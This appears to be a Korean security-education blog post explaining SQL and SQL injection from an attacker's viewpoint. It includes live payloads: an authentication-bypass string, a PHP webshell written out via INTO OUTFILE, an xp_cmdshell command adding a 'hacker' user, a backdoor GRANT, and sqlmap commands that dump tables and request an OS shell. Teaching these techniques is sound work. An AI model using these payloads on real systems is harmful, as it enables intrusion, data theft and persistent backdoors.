SQL & SQL Injection
※ 절대 허용되지 않은 사이트나 서버에 해킹 및 공격은 범죄이므로 이점 명심해야 한다.
1. SQL (Structured Query Language)이란?
관계형 데이터베이스(RDBMS)의 데이터를 관리하기 위해 설계된 특수 목적의 프로그래밍 언어이다. 해커에게 SQL은 타겟 시스템의 데이터(개인정보, 패스워드 등)를 약탈하거나 시스템을 장악하기 위한 수단이다.
SQL 문법의 3가지 분류 (DDL, DCL, DML)
1) DDL (Data Definition Language) - 데이터 정의어
CREATE TABLE users (id INT, username VARCHAR(50), password VARCHAR(50)); DROP TABLE logs; """ 공격 흔적을 지우거나 시스템을 파괴할 때 사용 (Drop) """
- 테이블이나 데이터베이스 자체를 생성, 수정, 삭제하는 명령어 (CREATE, ALTER, DROP).
2) DCL (Data Control Language) - 데이터 제어어
GRANT ALL PRIVILEGES ON *.* TO 'hack'@'%'; """ 백도어 계정에 최고 권한 부여 """
- 데이터베이스에 접근하고 객체들을 사용하도록 권한을 주고 회수하는 명령어 (GRANT, REVOKE).
3) DML (Data Manipulation Language) - 데이터 조작어
/* SELECT (조회) */ SELECT username, password FROM users WHERE role = 'admin'; /* UPDATE (수정) */ UPDATE users SET role = 'admin' WHERE username = 'hacker'; /* INSERT (삽입) */ INSERT INTO board (title, content) VALUES ('Notice', '<script>alert("XSS")</script>'); /* DELETE (삭제) */ DELETE FROM logs WHERE ip_address = '192.168.0.100';
- 테이블 안의 실제 데이터를 조작하는 명령어 (SELECT, INSERT, UPDATE, DELETE). 해킹 공격(SQL Injection)의 99%는 이 DML, 특히
SELECT구문을 조작하는 데서 시작된다.
2. SQL Injection 이란?
사용자의 입력값이 ‘순수한 데이터’로 처리되지 않고, 데이터베이스 시스템이 파싱해야 할 명령어(Code)의 일부로 해석되게 만드는 인젝션(주입) 공격이다.
Core of SQL Injection
# 취약한 백엔드 코드 $id = $_POST['id']; $query = "SELECT * FROM users WHERE id = '" . $id . "'";
- 해커가
id값으로admin' --을 입력하면, 완성되는 쿼리는 다음과 같다.SELECT * FROM users WHERE id = 'admin' -- '- 해커의 시각: 데이터의 경계선인 싱글 쿼터(
')를 강제로 닫아버리고, 뒤에 주석(--)을 붙여 기존 로직을 파괴한다. 이로써 패스워드 검증을 무력화한다.
3. SQL Injection의 유형
1) Error Based SQL Injection (에러 기반)
- 원리: DB 설정 상 에러 메시지가 웹 페이지에 노출될 때 사용한다. DB 내부의 함수(
extractvalue,updatexml등)를 고의로 고장내어, 뱉어내는 에러 메시지 안에 쿼리 실행 결과(DB 버전, 테이블명 등)를 담아 추출한다.
2) Blind SQL Injection (블라인드 기반)
화면에 에러 메시지나 데이터가 전혀 출력되지 않을 때 사용하는 스무고개 방식의 공격이다.
- 원리: 자동화 스크립트(Python 등)를 짜서 한 글자씩 브루트포싱(Brute-forcing)하여 데이터베이스를 통째로 덤프(Dump) 뜬다.
4. SQL Injection의 파급력
SQLi는 웹 취약점 중에서도 가장 치명적인 CVSS 10.0(Critical) 급의 파급력을 가진다.
- Authentication Bypass (인증 우회): 관리자 비밀번호를 몰라도
admin계정으로 로그인한다. - Data Exfiltration (데이터 탈취): 기업의 핵심 DB(주민번호, 신용카드, 기밀문서)를 통째로 빼낸다.
- Data Tampering (데이터 변조/파괴): 결제 금액을 조작하거나, 경쟁사의 데이터를 모두
DROP시켜버린다. - Remote Code Execution (RCE, 원격 명령 실행): DB 권한을 통해 서버 OS에 접근한다.
- 웹셸(Webshell) 업로드:
UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php' -- - 운영체제 명령어 실행 (MSSQL):
EXEC xp_cmdshell 'net user hacker password /add';
- 웹셸(Webshell) 업로드:
5. SQL map 이란?
Automated Exploit Tool (sqlmap)
- 파이썬(Python)으로 작성된 오픈소스 SQL 인젝션 자동화 도구이다. 해커가 수동으로 한 글자씩 빼내야 하는 Blind SQLi 같은 작업을 초당 수백 번의 요청을 통해 순식간에 데이터를 추출해 주는 강력한 툴이다.
# SQLMAP 예시 # 1. 취약점 확인 및 DB 목록(dbs) 추출 sqlmap -u "http://target.com/view.php?id=1" --dbs # 2. 특정 DB의 테이블(tables) 목록 추출 sqlmap -u "http://target.com/view.php?id=1" -D "target_db" --tables # 3. 특정 테이블의 컬럼과 데이터 통째로 덤프(dump) sqlmap -u "http://target.com/view.php?id=1" -D "target_db" -T "users" --dump # 4. OS 쉘 획득 시도 sqlmap -u "http://target.com/view.php?id=1" --os-shell
sqlmap은 매우 편리한 툴이다. 하지만 웹 방화벽(WAF)이나 필터링이 존재할 경우sqlmap은 막힌다. 이때 수동으로 페이로드(Tamper script)를 짜서 WAF를 우회할 수 있는 능력이 필요하다.